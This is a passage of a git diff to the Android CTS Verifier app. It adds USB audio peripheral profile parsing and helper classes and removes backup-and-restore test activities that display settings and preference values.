+    public static final String kTag_ButtonInfo = "ButtonInfo";
+
+    // XML Attributes
+    //  - Attributes for Profile Tag
+    private static final String kAttr_ProfileName = "ProfileName";
+    private static final String kAttr_ProfileDescription = "ProfileDescription";
+    private static final String kAttr_Product = "ProductName";
+
+    //  - Attributes for DevInfo tags
+    private static final String kAttr_ChanCounts = "ChanCounts";
+    private static final String kAttr_ChanPosMasks = "ChanPosMasks";
+    private static final String kAttr_ChanIndexMasks = "ChanIndexMasks";
+    private static final String kAttr_Encodings = "Encodings";
+    private static final String kAttr_SampleRates = "SampleRates";
+    private static final String kAttr_HasBtnA = "HasBtnA";
+    private static final String kAttr_HasBtnB = "HasBtnB";
+    private static final String kAttr_HasBtnC = "HasBtnC";
+    private static final String kAttr_HasBtnD = "HasBtnD";
+
+    private void parseProfileAttributes(ProfileAttributes attribs, String elementName,
+                                        Attributes xmlAtts) {
+        attribs.mChannelCounts = parseIntList(xmlAtts.getValue(kAttr_ChanCounts));
+        attribs.mChannelPositionMasks = parseIntList(xmlAtts.getValue(kAttr_ChanPosMasks));
+        attribs.mChannelIndexMasks = parseIntList(xmlAtts.getValue(kAttr_ChanIndexMasks));
+        attribs.mEncodings = parseIntList(xmlAtts.getValue(kAttr_Encodings));
+        attribs.mSampleRates = parseIntList(xmlAtts.getValue(kAttr_SampleRates));
+    }
+
+    private void parseProfileButtons(ProfileButtonAttributes buttonAttributes, String elementName,
+                                     Attributes xmlAtts) {
+        buttonAttributes.mHasBtnA = Integer.parseInt(xmlAtts.getValue(kAttr_HasBtnA)) == 1;
+        buttonAttributes.mHasBtnB = Integer.parseInt(xmlAtts.getValue(kAttr_HasBtnB)) == 1;
+        buttonAttributes.mHasBtnC = Integer.parseInt(xmlAtts.getValue(kAttr_HasBtnC)) == 1;
+        buttonAttributes.mHasBtnD = Integer.parseInt(xmlAtts.getValue(kAttr_HasBtnD)) == 1;
+    }
+
+    //
+    // org.xml.sax.helpers.DefaultHandler overrides
+    //
+    @Override
+    public void startElement(String namespaceURI, String localName, String qName, Attributes atts) throws SAXException {
+        if (qName.equals(kTag_Profile)) {
+            mProfileName = atts.getValue(kAttr_ProfileName);
+            mProfileDescription = atts.getValue(kAttr_ProfileDescription);
+            mProductName = atts.getValue(kAttr_Product);
+        } else if (qName.equals(kTag_OutputDevInfo)) {
+            mOutputAttributes = new ProfileAttributes();
+            parseProfileAttributes(mOutputAttributes, localName, atts);
+        } else if (qName.equals(kTag_InputDevInfo)) {
+            mInputAttributes = new ProfileAttributes();
+            parseProfileAttributes(mInputAttributes, localName, atts);
+        } else if (qName.equals(kTag_ButtonInfo)) {
+            mButtonAttributes = new ProfileButtonAttributes();
+            parseProfileButtons(mButtonAttributes, localName, atts);
+        }
+    }
+
+    @Override
+    public void endElement(String uri, String localName, String qName) {
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileButtonAttributes.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileButtonAttributes.java
new file mode 100644
index 0000000..ffe5e6d
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileButtonAttributes.java
@@ -0,0 +1,24 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.peripheralprofile;
+
+public class ProfileButtonAttributes {
+    public boolean mHasBtnA;
+    public boolean mHasBtnB;
+    public boolean mHasBtnC;
+    public boolean mHasBtnD;
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
new file mode 100644
index 0000000..035dc3f
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/ProfileManager.java
@@ -0,0 +1,160 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.cts.verifier.audio.peripheralprofile;
+
+import android.os.Environment;
+import android.support.annotation.Nullable;
+import android.util.Xml;
+
+import org.xml.sax.Attributes;
+import org.xml.sax.InputSource;
+import org.xml.sax.SAXException;
+import org.xml.sax.XMLReader;
+import org.xml.sax.helpers.DefaultHandler;
+
+import java.io.ByteArrayInputStream;
+import java.io.File;
+import java.io.FileInputStream;
+import java.io.FileNotFoundException;
+import java.io.FileWriter;
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+
+import javax.xml.parsers.ParserConfigurationException;
+import javax.xml.parsers.SAXParser;
+import javax.xml.parsers.SAXParserFactory;
+
+public class ProfileManager {
+    private static final String mBuiltInprofiles =
+            "<?xml version='1.0' encoding='UTF-8' standalone='yes' ?>" +
+            "<ProfileList Version=\"1.0.0\">" +
+              "<PeripheralProfile ProfileName=\"Headset\" ProfileDescription=\"Microsoft LX-3000\" ProductName=\"USB-Audio - Microsoft LifeChat LX-3000\">" +
+                "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
+                "<InputDevInfo ChanCounts=\"1,2\" ChanPosMasks=\"12,16\" ChanIndexMasks=\"1\" Encodings=\"2\" SampleRates=\"44100,48000\" />" +
+                "<ButtonInfo HasBtnA=\"0\" HasBtnB=\"1\" HasBtnC=\"1\" HasBtnD=\"0\" />" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"Audio Interface\" ProfileDescription=\"Presonus AudioVox 44VSL\" ProductName=\"USB-Audio - AudioBox 44 VSL\">" +
+              "<OutputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+              "<InputDevInfo ChanCounts=\"2,4\" ChanPosMasks=\"12\" ChanIndexMasks=\"15\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"AudioBox 22VSL\" ProfileDescription=\"Presonus AudioBox 22VSL\" ProductName=\"USB-Audio - AudioBox 22 VSL\">" +
+              "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+              "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000,88200,96000\" />" +
+            "</PeripheralProfile>" +
+            "<PeripheralProfile ProfileName=\"AudioBox USB\" ProfileDescription=\"Presonus AudioBox USB\" ProductName=\"USB-Audio - AudioBox USB\">" +
+              "<OutputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+              "<InputDevInfo ChanCounts=\"2\" ChanPosMasks=\"12\" ChanIndexMasks=\"3\" Encodings=\"4\" SampleRates=\"44100,48000\" />" +
+            "</PeripheralProfile>" +
+          "</ProfileList>";
+
+    // XML Tags and Attributes
+    private final static String kTag_ProfileList = "ProfileList";
+    private final static String kAttrName_Version = "Version";
+    private final static String kValueStr_Version = "1.0.0";
+
+    private final ArrayList<PeripheralProfile> mProfiles =
+        new ArrayList<PeripheralProfile>();
+
+    private PeripheralProfile mParsingProfile = null;
+
+    public boolean addProfile(PeripheralProfile profile) {
+        mProfiles.add(profile);
+
+        return true;
+    }
+
+    private class ProfileLoader extends DefaultHandler {
+        @Override
+        public void startElement(String namespaceURI, String localName, String qName, Attributes atts) throws SAXException {
+            if (localName.equals(kTag_ProfileList)) {
+                // Maybe check the version here.
+            } else if (localName.equals(PeripheralProfile.kTag_Profile)){
+                mParsingProfile = new PeripheralProfile(null, null, null, null, null);
+                mParsingProfile.startElement(namespaceURI, localName, qName, atts);
+            } else {
+                mParsingProfile.startElement(namespaceURI, localName, qName, atts);
+            }
+        }
+
+        @Override
+        public void endElement(String uri, String localName, String qName) {
+            if (localName.equals(kTag_ProfileList)) {
+                // Version Checking here maybe?
+            } else if (localName.equals(PeripheralProfile.kTag_Profile)){
+                mProfiles.add(mParsingProfile);
+                mParsingProfile = null;
+            }
+        }
+    }
+
+    @Override
+    public String toString() {
+        return super.toString();
+    }
+
+    public boolean loadProfiles(InputStream inStream) {
+        SAXParserFactory spf = SAXParserFactory.newInstance();
+        SAXParser sp;
+        try {
+            sp = spf.newSAXParser();
+            XMLReader xr = sp.getXMLReader();
+            xr.setContentHandler(new ProfileLoader());
+            xr.parse(new InputSource(inStream));
+        } catch (ParserConfigurationException e) {
+            e.printStackTrace();
+        } catch (SAXException e) {
+            e.printStackTrace();
+        } catch (IOException e) {
+            e.printStackTrace();
+        }
+
+        return true;
+    }
+
+    public boolean loadProfiles(String profilesXML) {
+        mProfiles.clear();
+
+        return loadProfiles(new ByteArrayInputStream(profilesXML.getBytes()));
+    }
+
+    public boolean loadProfiles() {
+        return loadProfiles(mBuiltInprofiles);
+    }
+
+    //
+    // Access
+    //
+    public ArrayList<PeripheralProfile> getProfiles() { return mProfiles; }
+
+    public int getNumProfiles() {
+        return mProfiles.size();
+    }
+    public PeripheralProfile getProfile(int index) {
+        return mProfiles.get(index);
+    }
+
+    @Nullable
+    public PeripheralProfile getProfile(String productName) {
+        for(PeripheralProfile profile : mProfiles) {
+            if (productName.equals(profile.getProductName())) {
+                return profile;
+            }
+        }
+        return null;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/USBDeviceInfoHelper.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/USBDeviceInfoHelper.java
new file mode 100644
index 0000000..54cbf53
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/peripheralprofile/USBDeviceInfoHelper.java
@@ -0,0 +1,90 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.android.cts.verifier.audio.peripheralprofile;
+
+import android.media.AudioDeviceInfo;
+import android.media.AudioFormat;
+import android.util.Log;
+
+public class USBDeviceInfoHelper {
+    @SuppressWarnings("unused")
+    private static final String TAG = "USBDeviceInfoHelper";
+
+    private static final String kUSBPrefix = "USB-Audio - ";
+
+    // TODO - we can't treat the maximum channel count the same for inputs and outputs
+    public static int calcMaxChannelCount(AudioDeviceInfo deviceInfo) {
+        if (deviceInfo == null) {
+            return 2;   // for testing....
+        }
+
+        int maxChanCount = 0;
+        int[] counts = deviceInfo.getChannelCounts();
+        for (int chanCount : counts) {
+            if (chanCount > maxChanCount) {
+                maxChanCount = chanCount;
+            }
+        }
+        return maxChanCount;
+    }
+
+    // TODO This should be in a library module devoted to channel management, not USB.
+    public static int getPlayChanMask(AudioDeviceInfo deviceInfo) {
+        int numChans = calcMaxChannelCount(deviceInfo);
+        switch (numChans) {
+            case 1:
+                return AudioFormat.CHANNEL_OUT_MONO;
+
+            case 2:
+                return AudioFormat.CHANNEL_OUT_STEREO;
+
+            case 4:
+                return AudioFormat.CHANNEL_OUT_QUAD;
+
+            default:
+                // Huh!
+                Log.e(TAG, "getPlayChanMask() Unsupported number of channels: " + numChans);
+                return AudioFormat.CHANNEL_OUT_STEREO;
+        }
+    }
+
+    // TODO This should be in a library module devoted to channel management, not USB.
+    public static int getIndexedChanMask(int numChannels) {
+        return 0x80000000 | numChannels;
+    }
+
+    // TODO This should be in a library module devoted to channel management, not USB.
+    public static int getRecordChanMask(AudioDeviceInfo deviceInfo) {
+        int numChans = calcMaxChannelCount(deviceInfo);
+        switch (numChans) {
+            case 1:
+                return AudioFormat.CHANNEL_IN_MONO;
+
+            case 2:
+                return AudioFormat.CHANNEL_IN_STEREO;
+
+            default:
+                // Huh!
+                return AudioFormat.CHANNEL_OUT_STEREO;
+        }
+    }
+
+    public static String extractDeviceName(String productName) {
+        return productName.startsWith(kUSBPrefix)
+                ? productName.substring(kUSBPrefix.length())
+                : productName;
+    }
+}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java
deleted file mode 100644
index 157a71c..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupAccessibilityTestActivity.java
+++ /dev/null
@@ -1,342 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.backup;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import android.app.AlertDialog;
-import android.app.Dialog;
-import android.app.backup.BackupManager;
-import android.app.backup.FileBackupHelper;
-import android.content.Context;
-import android.content.DialogInterface;
-import android.content.Intent;
-import android.graphics.Color;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.provider.Settings;
-import android.util.Log;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.view.Window;
-import android.widget.BaseAdapter;
-import android.widget.TextView;
-import android.widget.Toast;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.PrintWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Random;
-import java.util.Scanner;
-
-/**
- * Test for checking whether Accessibility Settings are being backed up properly. It lists the
- * values of the accessibility preferences that should get backed up and restored after running the
- * backup manager and reinstalling the CTS verifier.
- */
-public class BackupAccessibilityTestActivity extends PassFailButtons.ListActivity {
-
-    private static final String TAG = BackupAccessibilityTestActivity.class.getSimpleName();
-
-    private static final int INSTRUCTIONS_DIALOG_ID = 1;
-
-    private static final List<String> ACCESSIBILITY_SETTINGS = new ArrayList();
-    private static final List<String> COLOR_CORRECTION_SETTINGS = new ArrayList();
-    private static final List<String> ACCESSIBILITY_SERVICE_SETTINGS = new ArrayList();
-    private static final List<String> CAPTIONS_SETTINGS = new ArrayList();
-    private static final List<String> TTS_SETTINGS = new ArrayList();
-    private static final List<String> SYSTEM_SETTINGS = new ArrayList();
-
-    static {
-        ACCESSIBILITY_SETTINGS.add("accessibility_display_magnification_enabled");
-        ACCESSIBILITY_SETTINGS.add("accessibility_autoclick_enabled");
-        ACCESSIBILITY_SETTINGS.add("accessibility_autoclick_delay");
-        ACCESSIBILITY_SETTINGS.add("high_text_contrast_enabled");
-        ACCESSIBILITY_SETTINGS.add("incall_power_button_behavior");
-        ACCESSIBILITY_SETTINGS.add(Settings.Secure.ACCESSIBILITY_SPEAK_PASSWORD);
-        ACCESSIBILITY_SETTINGS.add("accessibility_large_pointer_icon");
-        ACCESSIBILITY_SETTINGS.add("long_press_timeout");
-        ACCESSIBILITY_SETTINGS.add(Settings.Secure.ACCESSIBILITY_DISPLAY_INVERSION_ENABLED);
-
-        COLOR_CORRECTION_SETTINGS.add("accessibility_display_daltonizer");
-        COLOR_CORRECTION_SETTINGS.add("accessibility_display_daltonizer_enabled");
-
-        CAPTIONS_SETTINGS.add("accessibility_captioning_preset");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_enabled");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_locale");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_background_color");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_foreground_color");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_edge_type");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_edge_color");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_typeface");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_font_scale");
-        CAPTIONS_SETTINGS.add("accessibility_captioning_window_color");
-
-        TTS_SETTINGS.add(Settings.Secure.TTS_DEFAULT_RATE);
-        TTS_SETTINGS.add("tts_default_locale");
-
-        ACCESSIBILITY_SERVICE_SETTINGS.add(Settings.Secure.ENABLED_ACCESSIBILITY_SERVICES);
-        ACCESSIBILITY_SERVICE_SETTINGS.add("touch_exploration_granted_accessibility_services");
-        ACCESSIBILITY_SERVICE_SETTINGS.add(Settings.Secure.TOUCH_EXPLORATION_ENABLED);
-
-        SYSTEM_SETTINGS.add(Settings.System.FONT_SCALE);
-        SYSTEM_SETTINGS.add(Settings.System.STAY_ON_WHILE_PLUGGED_IN);
-        SYSTEM_SETTINGS.add(Settings.System.SCREEN_OFF_TIMEOUT);
-        SYSTEM_SETTINGS.add(Settings.System.SCREEN_BRIGHTNESS);
-        SYSTEM_SETTINGS.add(Settings.System.SCREEN_BRIGHTNESS_MODE);
-        SYSTEM_SETTINGS.add(Settings.System.TEXT_SHOW_PASSWORD);
-        SYSTEM_SETTINGS.add(Settings.System.HAPTIC_FEEDBACK_ENABLED);
-        SYSTEM_SETTINGS.add("power_sounds_enabled");
-        SYSTEM_SETTINGS.add("lockscreen_sounds_enabled");
-        SYSTEM_SETTINGS.add("pointer_speed");
-        SYSTEM_SETTINGS.add(Settings.System.VIBRATE_WHEN_RINGING);
-        SYSTEM_SETTINGS.add(Settings.System.ACCELEROMETER_ROTATION);
-    }
-
-    private BackupAdapter mAdapter;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
-        setContentView(R.layout.bua_main);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.backup_accessibility_test, R.string.backup_accessibility_info, 0);
-
-        mAdapter = new BackupAdapter(this);
-        setListAdapter(mAdapter);
-
-        new ReadCurrentSettingsValuesTask().execute();
-
-        findViewById(R.id.generate_button).setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                new ReadCurrentSettingsValuesTask().execute();
-            }
-        });
-
-        findViewById(R.id.show_instructions_button).setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                showDialog(INSTRUCTIONS_DIALOG_ID);
-            }
-        });
-    }
-
-    class ReadCurrentSettingsValuesTask extends AsyncTask<Void, Void, List<BackupItem>> {
-
-        @Override
-        protected void onPreExecute() {
-            super.onPreExecute();
-            setProgressBarIndeterminateVisibility(true);
-        }
-
-        @Override
-        protected List<BackupItem> doInBackground(Void... params) {
-            List<BackupItem> items = new ArrayList<BackupItem>();
-
-            items.add(new CategoryBackupItem(R.string.bua_settings));
-            addSecureSettings(items, ACCESSIBILITY_SETTINGS);
-
-            items.add(new CategoryBackupItem(R.string.bua_settings_color_correction));
-            addSecureSettings(items, COLOR_CORRECTION_SETTINGS);
-
-            items.add(new CategoryBackupItem(R.string.bua_settings_captions));
-            addSecureSettings(items, CAPTIONS_SETTINGS);
-
-            items.add(new CategoryBackupItem(R.string.bua_settings_tts));
-            addSecureSettings(items, TTS_SETTINGS);
-
-            items.add(new CategoryBackupItem(R.string.bua_settings_accessibility_services));
-            addSecureSettings(items, ACCESSIBILITY_SERVICE_SETTINGS);
-
-            items.add(new CategoryBackupItem(R.string.bua_settings_system));
-            addSystemSettings(items, SYSTEM_SETTINGS);
-
-            return items;
-        }
-
-        private void addSecureSettings(List<BackupItem> items, List<String> settings) {
-            for (String setting : settings) {
-                String value = Settings.Secure.getString(getContentResolver(), setting);
-                items.add(new PreferenceBackupItem(setting, value));
-            }
-        }
-
-        private void addSystemSettings(List<BackupItem> items, List<String> settings) {
-            for (String setting : settings) {
-                String value = Settings.System.getString(getContentResolver(), setting);
-                items.add(new PreferenceBackupItem(setting, value));
-            }
-        }
-
-        @Override
-        protected void onPostExecute(List<BackupItem> result) {
-            super.onPostExecute(result);
-            setProgressBarIndeterminateVisibility(false);
-            mAdapter.clear();
-            mAdapter.addAll(result);
-        }
-    }
-
-    @Override
-    public Dialog onCreateDialog(int id, Bundle args) {
-        switch (id) {
-            case INSTRUCTIONS_DIALOG_ID:
-                return new AlertDialog.Builder(this)
-                    .setIcon(android.R.drawable.ic_dialog_info)
-                    .setTitle(R.string.backup_accessibility_test)
-                    .setMessage(R.string.bua_instructions)
-                    .setPositiveButton(android.R.string.ok, null)
-                    .setNeutralButton(R.string.bu_settings, new DialogInterface.OnClickListener() {
-                        @Override
-                        public void onClick(DialogInterface dialog, int which) {
-                            startActivity(new Intent(Settings.ACTION_PRIVACY_SETTINGS));
-                        }
-                    }).create();
-
-            default:
-                return super.onCreateDialog(id, args);
-        }
-    }
-
-    interface BackupItem {
-        int getViewType();
-        View getView(LayoutInflater inflater, int position, View convertView, ViewGroup parent);
-    }
-
-    static class CategoryBackupItem implements BackupItem {
-
-        private final int mTitleResId;
-
-        CategoryBackupItem(int titleResId) {
-            mTitleResId = titleResId;
-        }
-
-        @Override
-        public int getViewType() {
-            return 0;
-        }
-
-        @Override
-        public View getView(LayoutInflater inflater, int position, View convertView,
-                ViewGroup parent) {
-            TextView view = (TextView) convertView;
-            if (convertView == null) {
-                view = (TextView) inflater.inflate(R.layout.test_category_row, parent, false);
-            }
-            view.setText(mTitleResId);
-            view.setAllCaps(true);
-            view.setTextAppearance(1);  // Bold
-            return view;
-        }
-    }
-
-    static class PreferenceBackupItem implements BackupItem {
-
-        private final String mName;
-        private final String mValue;
-
-        PreferenceBackupItem(String name, String value) {
-            mName = name;
-            mValue = value;
-        }
-
-        @Override
-        public int getViewType() {
-            if (mValue == null || mValue.equals("0")) {
-                return 1;
-            } else {
-                return 2;
-            }
-        }
-
-        @Override
-        public View getView(LayoutInflater inflater, int position, View convertView,
-                ViewGroup parent) {
-            TextView view = (TextView) convertView;
-            if (convertView == null) {
-                view = (TextView) inflater.inflate(R.layout.bu_preference_row, parent, false);
-            }
-            view.setText(mName + " : " + mValue);
-            if (mValue == null || mValue.equals("0")) {
-                view.setTextColor(Color.GREEN);
-            }
-            return view;
-        }
-    }
-
-    class BackupAdapter extends BaseAdapter {
-
-        private final LayoutInflater mLayoutInflater;
-
-        private final List<BackupItem> mItems = new ArrayList<BackupItem>();
-
-        public BackupAdapter(Context context) {
-            mLayoutInflater = (LayoutInflater) context.getSystemService(LAYOUT_INFLATER_SERVICE);
-        }
-
-        public void clear() {
-            mItems.clear();
-        }
-
-        public void addAll(List<BackupItem> items) {
-            mItems.addAll(items);
-            notifyDataSetChanged();
-        }
-
-        @Override
-        public int getCount() {
-            return mItems.size();
-        }
-
-        @Override
-        public BackupItem getItem(int position) {
-            return mItems.get(position);
-        }
-
-        @Override
-        public long getItemId(int position) {
-            return position;
-        }
-
-        @Override
-        public boolean isEnabled(int position) {
-            return false;
-        }
-
-        @Override
-        public int getViewTypeCount() {
-            return 3;
-        }
-
-        @Override
-        public int getItemViewType(int position) {
-            return getItem(position).getViewType();
-        }
-
-        @Override
-        public View getView(int position, View convertView, ViewGroup parent) {
-            return getItem(position).getView(mLayoutInflater, position, convertView, parent);
-        }
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java
deleted file mode 100644
index cccc1c2..0000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/backup/BackupTestActivity.java
+++ /dev/null
@@ -1,404 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.backup;
-
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-import android.app.AlertDialog;
-import android.app.Dialog;
-import android.app.backup.BackupManager;
-import android.app.backup.FileBackupHelper;
-import android.app.backup.SharedPreferencesBackupHelper;
-import android.content.Context;
-import android.content.DialogInterface;
-import android.content.Intent;
-import android.content.SharedPreferences;
-import android.os.AsyncTask;
-import android.os.Bundle;
-import android.provider.Settings;
-import android.util.Log;
-import android.view.LayoutInflater;
-import android.view.View;
-import android.view.View.OnClickListener;
-import android.view.ViewGroup;
-import android.view.Window;
-import android.widget.BaseAdapter;
-import android.widget.TextView;
-import android.widget.Toast;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.PrintWriter;
-import java.util.ArrayList;
-import java.util.List;
-import java.util.Random;
-import java.util.Scanner;
-
-/**
- * Test for checking whether the BackupManager is working properly. It lists the values of
- * several preferences and contents of files that should get backed up and restored after
- * running the backup manager and reinstalling the CTS verifier.
- */
-public class BackupTestActivity extends PassFailButtons.ListActivity {
-
-    private static final String TAG = BackupTestActivity.class.getSimpleName();
-
-    private static final int INSTRUCTIONS_DIALOG_ID = 1;
-
-    private static final String TEST_PREFS_1 = "test-prefs-1";
-    private static final String INT_PREF = "int-pref";
-    private static final String BOOL_PREF = "bool-pref";
-
-    private static final String TEST_PREFS_2 = "test-prefs-2";
-    private static final String FLOAT_PREF = "float-pref";
-    private static final String LONG_PREF = "long-pref";
-    private static final String STRING_PREF = "string-pref";
-
-    private static final String TEST_FILE_1 = "test-file-1";
-    private static final String TEST_FILE_2 = "test-file-2";
-
-    private BackupAdapter mAdapter;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        requestWindowFeature(Window.FEATURE_INDETERMINATE_PROGRESS);
-        setContentView(R.layout.bu_main);
-        setPassFailButtonClickListeners();
-        setInfoResources(R.string.backup_test, R.string.backup_info, 0);
-
-        mAdapter = new BackupAdapter(this);
-        setListAdapter(mAdapter);
-
-        new LoadBackupItemsTask().execute();
-
-        findViewById(R.id.generate_button).setOnClickListener(new OnClickListener() {
-            @Override
-            public void onClick(View v) {
-                new GenerateValuesTask().execute();
-            }
-        });
-    }
-
-    public static SharedPreferencesBackupHelper getSharedPreferencesBackupHelper(Context context) {
-        return new SharedPreferencesBackupHelper(context, TEST_PREFS_1, TEST_PREFS_2);
-    }
-
-    public static FileBackupHelper getFileBackupHelper(Context context) {
-        return new FileBackupHelper(context, TEST_FILE_1, TEST_FILE_2);
-    }
-
-    class LoadBackupItemsTask extends AsyncTask<Void, Void, List<BackupItem>> {
-
-        @Override
-        protected void onPreExecute() {
-            super.onPreExecute();
-            setProgressBarIndeterminateVisibility(true);
-        }
-
-        @Override
-        protected List<BackupItem> doInBackground(Void... params) {
-            List<BackupItem> items = new ArrayList<BackupItem>();
-
-            items.add(new CategoryBackupItem(R.string.bu_preferences));
-            loadPreferenceGroup1(items);
-            loadPreferenceGroup2(items);
-
-            items.add(new CategoryBackupItem(R.string.bu_files));
-            loadFile(TEST_FILE_1, items);
-            loadFile(TEST_FILE_2, items);
-
-            return items;
-        }
-
-        private void loadPreferenceGroup1(List<BackupItem> items) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_1, MODE_PRIVATE);
-
-            int intValue = prefs.getInt(INT_PREF, 0);
-            items.add(new PreferenceBackupItem(TEST_PREFS_1, INT_PREF, "" + intValue));
-
-            boolean boolValue = prefs.getBoolean(BOOL_PREF, false);
-            items.add(new PreferenceBackupItem(TEST_PREFS_1, BOOL_PREF, "" + boolValue));
-        }
-
-        private void loadPreferenceGroup2(List<BackupItem> items) {
-            SharedPreferences prefs = getSharedPreferences(TEST_PREFS_2, MODE_PRIVATE);
-
-            float floatValue = prefs.getFloat(FLOAT_PREF, 0.0f);
-            items.add(new PreferenceBackupItem(TEST_PREFS_2, FLOAT_PREF, "" + floatValue));
-
-            long longValue = prefs.getLong(LONG_PREF, 0L);
-            items.add(new PreferenceBackupItem(TEST_PREFS_2, LONG_PREF, "" + longValue));
-
-            String stringValue = prefs.getString(STRING_PREF, null);
-            items.add(new PreferenceBackupItem(TEST_PREFS_2, STRING_PREF, stringValue));
-        }
-
-        private void loadFile(String fileName, List<BackupItem> items) {
-            StringBuilder contents = new StringBuilder();
-            Scanner scanner = null;
-            try {
-                scanner = new Scanner(new File(getFilesDir(), fileName));
-                while (scanner.hasNext()) {
-                    contents.append(scanner.nextLine());
-                }
-                scanner.close();
-            } catch (FileNotFoundException e) {
